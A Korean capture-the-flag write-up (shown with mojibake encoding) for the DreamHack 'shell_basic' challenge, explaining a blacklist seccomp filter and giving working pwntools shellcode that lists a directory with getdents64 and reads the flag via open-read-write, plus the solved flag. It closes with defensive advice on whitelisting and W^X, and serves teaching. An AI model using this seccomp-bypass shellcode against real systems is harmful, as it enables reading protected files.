๋ฌธ์ : DreamHack โ shell_basic ๋ถ๋ฅ: Pwnable (System Hacking) ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | shell_basic |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Pwnable (System Hacking) |
| ์ ๊ณต ํ์ผ | shell_basic (ELF 64-bit PIE), shell_basic.c |
| ์๋ฒ | nc host3.dreamhack.games 14199 |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | ์์ ์ ธ์ฝ๋ ์คํ + seccomp ๋ธ๋๋ฆฌ์คํธ ์ฐํ (ORW) |
๋ฐ์ด๋๋ฆฌ๋ ์น์ ํ๊ฒ๋ ์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ ๋ฐ์ดํธ๋ฅผ RWX ๋ฉ๋ชจ๋ฆฌ์ ์ฌ๋ ค ๊ทธ๋๋ก ์คํํด ์ค๋ค. ์์ ์ฝ๋ ์คํ์ด ์ฒ์๋ถํฐ ์ฃผ์ด์ง ์ ์ด๋ค.
๋ฌธ์ ๋ execve/execveat ๋ ์์คํ
์ฝ์ด seccomp ๋ก ๋งํ ์๋ค๋ ๊ฒ. ๊ทธ๋์ /bin/sh ์
ธ์ ๋์ฐ๋ ์ต์ํ ๊ธธ์ ๋ซํ ์๊ณ , ๋์ open โ read โ write ์ธ ์ฝ๋ง์ผ๋ก flag ํ์ผ์ ์ด์ด ์ฝ๊ณ ๊ทธ ๋ด์ฉ์ ์์ผ(ํ์ค์ถ๋ ฅ)์ผ๋ก ํ ํด๋ด์ผ ํ๋ค. ์ด๊ฒ "ORW ์
ธ์ฝ๋"๋ผ ๋ถ๋ฅด๋ ์์คํ
ํดํน ์
๋ฌธ์ ์ ์ ํจํด์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ seccomp ์ ORW
seccomp(secure computing) ๋ ํ๋ก์ธ์ค๊ฐ ํธ์ถํ ์ ์๋ ์์คํ
์ฝ์ ์ปค๋ ์์ค์์ ์ ํํ๋ ํํฐ๋ค. libseccomp ๋ก ๊ท์น์ ์งค ๋ ๊ธฐ๋ณธ ๋์(default action)์ ์ ํ๊ณ , ๊ฑฐ๊ธฐ์ ์์ธ ๊ท์น์ ์น๋๋ค.
SCMP_ACT_ALLOW๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋๋ฉด โ ํ์ดํธ๋ฆฌ์คํธ๊ฐ ์๋๋ผ ๋ธ๋๋ฆฌ์คํธ๊ฐ ๋๋ค. ๋ช ์์ ์ผ๋ก ๋ง์ ์ฝ๋ง ์ฐจ๋จ๋๊ณ ๋๋จธ์ง๋ ์ ๋ถ ํต๊ณผ.SCMP_ACT_KILL๊ท์น์ ํน์ ์ฝ์ ๊ฑธ๋ฉด โ ๊ทธ ์ฝ์ด ํธ์ถ๋๋ ์๊ฐSIGSYS๋ก ํ๋ก์ธ์ค๊ฐ ์ฆ์ฌํ๋ค.
์ด ๋ฌธ์ ๋ ๊ธฐ๋ณธ๊ฐ์ด ALLOW ์ด๊ณ execve/execveat ๋ง KILL ์ด๋ค. ์ฆ ์
ธ ์คํ๋ง ๋นผ๊ณ ๊ฑฐ์ ๋ชจ๋ ๊ฒ์ ํ ์ ์๋ค. ํ์ผ์ ์ฌ๋ open, ๋ด์ฉ์ ์ฝ๋ read, ์ถ๋ ฅ์ผ๋ก ๋ด๋ณด๋ด๋ write ๋ ์ ๋ถ ์ด์ ์๋ค. ์
ธ์ ๋ชป ๋ฐ๋ flag ํ์ผ์ ์ฝ์ ์ ์๋ค๋ ๋ป์ด๋ค.

ORW ๋ ์ด ์ํฉ์ ํ์ค ๋ต์ด๋ค. ์ ธ์ฝ๋ ์์์ ์ง์ :
fd = open("/flag/๊ฒฝ๋ก", O_RDONLY) // ํ์ผ์ ์ฐ๋ค
read(fd, buf, n) // ๋ด์ฉ์ ๋ฒํผ๋ก ์ฝ๋๋ค
write(1, buf, n) // ํ์ค์ถ๋ ฅ(=์์ผ)์ผ๋ก ๋ด๋ณด๋ธ๋ค์ธ ์ค์ด๋ฉด ๋๋๋ค. ์ ธ์ด ํ์ ์๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ๊ณต๋ ์์ค๋ ์งง๋ค. ํต์ฌ๋ง ๋ณด๋ฉด:
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW); // ๊ธฐ๋ณธ = ์ ๋ถ ํ์ฉ
if (ctx == NULL) exit(0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); // execve ๋ง KILL
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); // execveat ๋ง KILL
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC, // RWX ์์ญ
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve(); // seccomp ์ฅ์ฐฉ
printf("shellcode: ");
read(0, shellcode, 0x1000); // ์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ ๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ๋ฐ์
sc = (void *)shellcode;
sc(); // ํจ์ ํฌ์ธํฐ๋ก ์ ํ โ ์คํ
}ํ๋ฆ์ด ๊ทธ๋๋ก ๋ณด์ธ๋ค. mmap ์ผ๋ก ์ฝ๊ธฐยท์ฐ๊ธฐยท์คํ์ด ์ ๋ถ ๊ฐ๋ฅํ 0x1000 ๋ฐ์ดํธ ์์ญ์ ์ก๊ณ , read(0, shellcode, 0x1000) ์ผ๋ก stdin ์์ ์ต๋ 4KB ๋ฅผ ๋ฐ์ ๋ค ๊ทธ ์ฃผ์๋ก ์ ํํ๋ค. ์
๋ ฅ ๋ฐ์ดํธ = ์คํ๋ ๊ธฐ๊ณ์ด. BOF ๋ ROP ๋ ํ์ ์๋, ์์ ์ฝ๋ ์คํ์ด ์ ๋ฌผ์ฒ๋ผ ์ฃผ์ด์ง ๊ตฌ์กฐ๋ค.
๋ณดํธ ๊ธฐ๋ฒ์ ํ์ธํด ๋ณด๋ฉด NX ๊ฐ ์ผ์ ธ ์์ง๋ง ์ ์ ์
ธ์ฝ๋๊ฐ ์ฌ๋ผ๊ฐ๋ ๊ณณ์ mmap ์ RWX ์์ญ์ด๋ผ ๋ฌด์๋ฏธํ๊ณ , ์นด๋๋ฆฌ๋ ๋ฎ์ ์คํ์ด ์์ผ๋ ์๋ฏธ๊ฐ ์๋ค. ์ฐ๋ฆฌ์๊ฒ ํ์ํ ์ ์ฝ์ ์ค์ง seccomp ํ๋๋ค.
file shell_basic && checksec --file=shell_basic
๊ทธ๋ผ seccomp ํํฐ๊ฐ ์ค์ ๋ก ๋ฌด์์ ๋ง๋์ง ์ง์ ๋ ๋ณธ๋ค. seccomp-tools ๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด์ seccomp ๊ท์น์ ๊ทธ๋๋ก ๋คํํ ์ ์๋ค.
seccomp-tools dump ./shell_basic
BPF ๊ฐ ์น์ ํ๊ฒ ํ๋ ค ๋์จ๋ค. if (A == execve) goto 0008, if (A == execveat) goto 0008, ๊ทธ๋ฆฌ๊ณ 0008 ์ return KILL. ๋ ์ฝ๋ง ๊ณจ๋ผ ์ฃฝ์ด๊ณ 0007 ์ return ALLOW ๋ก ๋๋จธ์ง๋ ์ ๋ถ ํต๊ณผ์ํจ๋ค. ์์ค์์ ๋ณธ ๊ทธ๋๋ก๋ค. openยทreadยทwrite ๋ ์๋ ์ ๋๋ค.
๐ ์ฝ์ง โ flag ๊ฒฝ๋ก๋ฅผ ํ์ค ์์น๋ก ์ฐ์๋ค
์ด ๋ฌธ์ ์ flag ๊ฐ /home/shell_basic/flag ์ ์์ ๊ฑฐ๋ผ๊ณ ๋ฉ๋๋ก ๋จ์ ํ๊ณ ORW ์
ธ์ฝ๋๋ฅผ ๋จผ์ ์งฐ๋ค. shellcraft.open ์ ๊ฒฝ๋ก ๋ฌธ์์ด์ ์คํ์ push ํ๊ณ open ์ ํธ์ถํ๋ฏ๋ก, ์ด์ด์ง๋ read(fd, rsp, n) ์ ๊ทธ ๋ฌธ์์ด ์๋ฆฌ(rsp)๋ฅผ flag ๋ด์ฉ์ผ๋ก ๋ฎ์ด์ด๋ค โ ์ ์์ด๋ฉด.
โถ๐ ์ฝ์ง โ open ์ด -1 ์ ๋๋ ค์ฃผ๋ฉด read ๊ฐ ๋ฒํผ๋ฅผ ๋ชป ๋ฎ์ด์ด๋ค
๋๋ ค ๋ณด๋ flag ๊ฐ ์๋๋ผ ๋ด๊ฐ ๋ณด๋ธ ๊ฒฝ๋ก ๋ฌธ์์ด์ด ๊ทธ๋๋ก ๋๋์์๋ค.
sc = shellcraft.open("/home/shell_basic/flag") # ์ค์ ๋ก๋ ์๋ ํ์ผ
sc += shellcraft.read("rax", "rsp", 0x40)
sc += shellcraft.write(1, "rsp", 0x40)
์ถ๋ ฅ ๋งจ ์์ /home/shell_basic/flag\x00\x00... ๊ฐ ๋ณด์ธ๋ค. open ์ด ํ์ผ์ ๋ชป ์ฐพ์ -ENOENT(์์ fd)๋ฅผ ๋ฐํํ๊ณ , ๊ทธ ์์๋ฅผ fd ๋ก ๋ฐ์ read ๋ ์คํจํด ์คํ์ ๊ฒฝ๋ก ๋ฌธ์์ด์ ๊ทธ๋๋ก ๋ ์ฑ write ๊ฐ ๊ทธ ์์ญ์ ๋ฑ์ ๊ฒ์ด๋ค.
์ ธ์ฝ๋๊ฐ ์ถ๋ ฅ์ผ๋ก ์๊ธฐ ์ ๋ ฅ(๊ฒฝ๋ก)์ ๋๋ ค์ฃผ๋ฉด open ์ด ์คํจํ ์ ํธ๋ค. ๊ฒฝ๋ก๋ฅผ ์ถ์ธกํ์ง ๋ง๊ณ ์ง์ ์ฐพ์์ผ ํ๋ค.
๐ฃ ํต์ฌ โ getdents64 ๋ก ์ง์ง flag ์ด๋ฆ ์ฐพ๊ธฐ
seccomp ๊ฐ execve ๋ง ๋ง์๋ค๋ ๊ฑด, ๋๋ ํ ๋ฆฌ๋ฅผ ๋์ดํ๋ ์์คํ
์ฝ๋ ์ด์ ์๋ค๋ ๋ป์ด๋ค. open(dir, O_DIRECTORY) ๋ก ๋๋ ํ ๋ฆฌ๋ฅผ ์ด๊ณ getdents64 ๋ก ์ํธ๋ฆฌ๋ฅผ ๊ธ์ด write ๋ก ๋ด๋ณด๋ด๋ฉด, ์
ธ ์์ด๋ ls ๋ฅผ ํ๋ด ๋ผ ์ ์๋ค.
# find_flag.py โ getdents64 ์
ธ์ฝ๋๋ก /home/shell_basic ๋ฅผ ๋์ด
import struct
from pwn import *
context.arch = "amd64"
context.log_level = "warn"
# open("/home/shell_basic", O_RDONLY|O_DIRECTORY=0x10000)
sc = shellcraft.open("/home/shell_basic", 0x10000, 0)
sc += shellcraft.getdents64("rax", "rsp", 0x800) # rax = fd
sc += shellcraft.write(1, "rsp", "rax") # ์ฝ์ ๋ฐ์ดํธ ์๋งํผ ์ถ๋ ฅ
p = remote("host3.dreamhack.games", 14199)
p.recvuntil(b"shellcode: ")
p.send(asm(sc))
raw = p.recvall(timeout=4)
p.close()
print("[*] /home/shell_basic :")
i = 0
while i + 19 < len(raw): # linux_dirent64 ๋ ์ฝ๋ ํ์ฑ
reclen = struct.unpack("<H", raw[i+16:i+18])[0] # d_reclen
if reclen == 0:
break
name = raw[i+19:i+reclen].split(b"\x00")[0].decode("latin1") # d_name
mark = " <-- flag?" if "flag" in name else ""
print(f" {name}{mark}")
i += reclengetdents64 ๋ linux_dirent64 ๋ ์ฝ๋๋ฅผ ์ฐ๋ฌ์ ์ฑ์ ์ค๋ค. ๊ฐ ๋ ์ฝ๋๋ d_ino(8) ยท d_off(8) ยท d_reclen(2) ยท d_type(1) ยท d_name(๊ฐ๋ณ) ๊ตฌ์กฐ๋ผ, d_reclen ๋งํผ์ฉ ๊ฑด๋๋ฐ๋ฉฐ d_name ์ ๋ฝ์ผ๋ฉด ํ์ผ ๋ชฉ๋ก์ด ๋์จ๋ค.

flag ๋ ํ์ค flag ๊ฐ ์๋๋ผ ์ผ๋ถ๋ฌ ๊ธธ๊ฒ ์ง์ flag_name_is_loooooong ์ด์๋ค. ๊ฒฝ๋ก๋ฅผ ์ถ์ธกํ๋ ์ฌ๋์ ํ ๋ฒ ๊ฑธ๊ณ ๋์ด์ง๊ฒ ๋ง๋ ์ฅ์น๋ค. ์ง์ง ๊ฒฝ๋ก๋ /home/shell_basic/flag_name_is_loooooong.
๐ฏ ์ต์คํ๋ก์ โ ORW ์ ธ์ฝ๋ ์กฐ๋ฆฝ
๊ฒฝ๋ก๋ฅผ ์์์ผ๋ ์ฒ์ ์๋๋๋ก ORW ๋ฅผ ์์ฑํ๋ค. pwntools ์ shellcraft ๊ฐ ์ด์
๋ธ๋ฆฌ๋ฅผ ๋ง๋ค์ด ์ฃผ๋ฏ๋ก ์ธ ์ค์ด๋ฉด ๋๋ค.
sc = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
sc += shellcraft.read("rax", "rsp", 0x100) # open ์ด ๋๋ ค์ค fd ๊ฐ rax ์ ์๋ค
sc += shellcraft.write(1, "rsp", 0x100) # ์ฝ์ ๋ด์ฉ์ ํ์ค์ถ๋ ฅ์ผ๋ก๋์ ์๋ฆฌ๋ฅผ ํ ๋ฒ ์ง์ผ๋ฉด:
shellcraft.open(path)๋ ๊ฒฝ๋ก ๋ฌธ์์ด์ ์คํ์ push ํ๊ณrdi = rsp(๋ฌธ์์ด ์ฃผ์),rax = SYS_open์ผ๋กsyscall์ ํธ์ถํ๋ค. ์ฑ๊ณตํ๋ฉดrax์ ํ์ผ ๋์คํฌ๋ฆฝํฐ๊ฐ ๋ด๊ธด๋ค.- ์ด์ด์ง๋
read("rax", "rsp", 0x100)์ ๊ทธ fd ์์ 0x100 ๋ฐ์ดํธ๋ฅผrsp(๋ฐฉ๊ธ ๊ทธ ๋ฌธ์์ด ์๋ฆฌ)๋ก ์ฝ์ด ๋ค์ธ๋ค. flag ๋ด์ฉ์ด ์คํ์ ๋ฎ๋๋ค. write(1, "rsp", 0x100)์ด ๊ทธ ๋ฒํผ๋ฅผ fd 1 ๋ก ๋ด๋ณด๋ธ๋ค. ์๊ฒฉ์์ fd 1 ์ด ๊ณง ์์ผ์ด๋ผ flag ๊ฐ ์ฐ๋ฆฌ ํ๋ฉด์ผ๋ก ๋์์จ๋ค.
flag ํ์ผ์ ํ ์ค(๊ฐํ์ผ๋ก ๋)์ด๋ผ, ๋ฐ์ ๋ฐ์ดํฐ์ ์ฒซ ์ค๋ง ์๋ผ ์ถ๋ ฅํ๋ฉด ๊น๋ํ๋ค.
๐ Full Exploit
#!/usr/bin/env python3
# shell_basic โ ORW shellcode
from pwn import *
context.arch = "amd64"
context.os = "linux"
HOST, PORT = "host3.dreamhack.games", 14199
FLAG_PATH = "/home/shell_basic/flag_name_is_loooooong" # getdents64 ๋ก ํ์ธํ ์ค์ ๊ฒฝ๋ก
# open(path) -> read(fd, rsp, 0x100) -> write(1, rsp, 0x100)
sc = shellcraft.open(FLAG_PATH)
sc += shellcraft.read("rax", "rsp", 0x100)
sc += shellcraft.write(1, "rsp", 0x100)
payload = asm(sc)
p = remote(HOST, PORT)
p.recvuntil(b"shellcode: ")
p.send(payload)
data = p.recvall(timeout=5)
p.close()
import re
m = re.search(rb"DH\{[0-9a-fA-F]+\}", data)
print("[+] FLAG:", m.group().decode() if m else data.split(b"\n")[0].decode("latin1"))
[+] FLAG: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}open ์ด fd ๋ฅผ ์ ์์ผ๋ก ๋๋ ค์ฃผ๋ ์ด๋ฒ์ read ๊ฐ ์คํ์ flag ๋ด์ฉ์ผ๋ก ๋ฎ์๊ณ , write ๊ฐ ๊ทธ๋๋ก ํ ํด๋๋ค. seccomp ๊ฐ ๋ง์ ๊ฑด execve ๋ฟ์ด๋ผ ORW ์ฒด์ธ์ ์ฒ์๋ถํฐ ๋๊น์ง ์ด์์ ๋๋ค.
๐ ๊ฒฐ๋ก
์ ธ์ฝ๋ ์คํ์ด ๊ณง ์ ธ์ ์๋๋ค.
์ด ๋ฌธ์ ์ ๊ตํ์ "์์ ์ฝ๋ ์คํ์ ์ป์ด๋ seccomp ๊ฐ์ ์ฌํ ์ ์ฝ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ ๊ทธ์ ๋ง๊ฒ ๋ฐ๊ฟ์ผ ํ๋ค"๋ ์ ์ด๋ค. execve ๊ฐ ๋งํ๋ค๊ณ ๋์ด ์๋๋ผ, ํ์ผ์ ์ฝ๋ ์ฝ๋ง ์ด์ ์์ด๋ flag ํ์๋ผ๋ ๋ชฉ์ ์ ๋ฌ์ฑ๋๋ค. ์์คํ
ํดํน์์ ORW ๊ฐ ๋จ๊ณจ๋ก ๋ฑ์ฅํ๋ ์ด์ ๋ค.
๋ธ๋๋ฆฌ์คํธ seccomp ๋ ๊ฑฐ์ ํญ์ ์ฐํ๋นํ๋ค.
๋ฐฉ์ด์ ๊ด์ ์์ ์ด ํํฐ์ ๊ทผ๋ณธ ๋ฌธ์ ๋ SCMP_ACT_ALLOW ๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋ ๋ธ๋๋ฆฌ์คํธ ๊ตฌ์กฐ๋ค. execve/execveat ๋ง ๋ง์๋ openยทreadยทwriteยทopenatยทgetdents64ยทsendfile ๋ฑ ๋ฐ์ดํฐ๋ฅผ ๋นผ๋ผ ์ ์๋ ์ฝ์ด ์๋๋ฃฉํ๊ฒ ์ด๋ ค ์๋ค. ์ค์ ์๋๋ฐ์ค๋ ๋ฐ๋๋ก ํ์ดํธ๋ฆฌ์คํธ(SCMP_ACT_KILL ๊ธฐ๋ณธ + ๊ผญ ํ์ํ ์ฝ๋ง ALLOW)๋ก ์ง์ผ ์๋ฏธ๊ฐ ์๋ค.
RWX ๋ฉ๋ชจ๋ฆฌ๋ ๊ทธ ์์ฒด๋ก ๊ฒ์ดํธ๋ฅผ ์ฐ๋ค.
PROT_EXEC ๊ฐ ๋ถ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ์์ญ์ ์ธ๋ถ ์
๋ ฅ์ ๊ทธ๋๋ก ๋ฃ๊ณ ์ ํํ๋ฉด NX ๋ ์นด๋๋ฆฌ๋ ์ฐํํ ํ์ ์์ด ์ฝ๋ ์คํ์ด ์ฑ๋ฆฝํ๋ค. ์
๋ ฅ์ ์คํ ์์ญ์ ๋์ง ์๋ ๊ฒ, ๋ถ๋์ดํ๋ฉด W^X ๋ฅผ ์งํค๋ ๊ฒ์ด ๊ธฐ๋ณธ์ด๋ค.
๋ง์ง๋ง์ผ๋ก, flag ๊ฒฝ๋ก๋ฅผ ํ์ค ์์น๋ก ๋จ์ ํ์ง ๋ง ๊ฒ. getdents64 ํ ์ค์ด๋ฉด ๋๋ ํ ๋ฆฌ๋ฅผ ์ง์ ํ์ธํ ์ ์์ผ๋, ์ถ์ธก ๋์ ์
ธ์ฝ๋๋ก ํ ๋ฒ ๋ค์ฌ๋ค๋ณด๋ ํธ์ด ๋น ๋ฅด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ